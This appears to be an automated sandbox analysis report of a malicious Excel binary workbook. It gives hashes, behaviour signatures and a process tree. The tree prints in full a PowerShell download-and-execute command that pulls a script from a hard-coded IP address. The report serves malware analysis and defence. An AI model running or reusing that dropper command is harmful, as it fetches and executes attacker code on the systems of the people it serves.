Analysis

  • max time kernel
    157s
  • max time network
    180s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    31-12-2023 11:24

General

  • Target

    34339f5f8f3b303aad00272edfa2827f.xlsb

  • Size

    69KB

  • MD5

    34339f5f8f3b303aad00272edfa2827f

  • SHA1

    e1273963b7b1b7613f77e0ce353c108ae7557968

  • SHA256

    f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

  • SHA512

    fa74fab1b5762d712e61c465accd756b76d1a7c48a27f4b56e2f4298511f1ef8eb81d859763344fd7a14c57df5faa83db4c2bdb7f50c3c44e50582827fb17a4d

  • SSDEEP

    1536:7zTxsMK1oaZhV8nmSb4wjE7zF0Rhdv1hQzMrTsYm+kD:7HxsMGTkb4GE0DrTsSo

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://54.202.26.55/oo

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\34339f5f8f3b303aad00272edfa2827f.xlsb
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1912

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1912-5-0x000000006BB80000-0x000000006C12B000-memory.dmp

    Filesize

    5.7MB

  • memory/1912-6-0x000000006BB80000-0x000000006C12B000-memory.dmp

    Filesize

    5.7MB

  • memory/1912-8-0x00000000022B0000-0x00000000022F0000-memory.dmp

    Filesize

    256KB

  • memory/1912-7-0x00000000022B0000-0x00000000022F0000-memory.dmp

    Filesize

    256KB

  • memory/1912-9-0x000000006BB80000-0x000000006C12B000-memory.dmp

    Filesize

    5.7MB

  • memory/1912-10-0x00000000022B0000-0x00000000022F0000-memory.dmp

    Filesize

    256KB

  • memory/1912-12-0x000000006BB80000-0x000000006C12B000-memory.dmp

    Filesize

    5.7MB

  • memory/2596-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2596-1-0x0000000071D8D000-0x0000000071D98000-memory.dmp

    Filesize

    44KB

  • memory/2596-2-0x0000000071D8D000-0x0000000071D98000-memory.dmp

    Filesize

    44KB

  • memory/2596-15-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2596-16-0x0000000071D8D000-0x0000000071D98000-memory.dmp

    Filesize

    44KB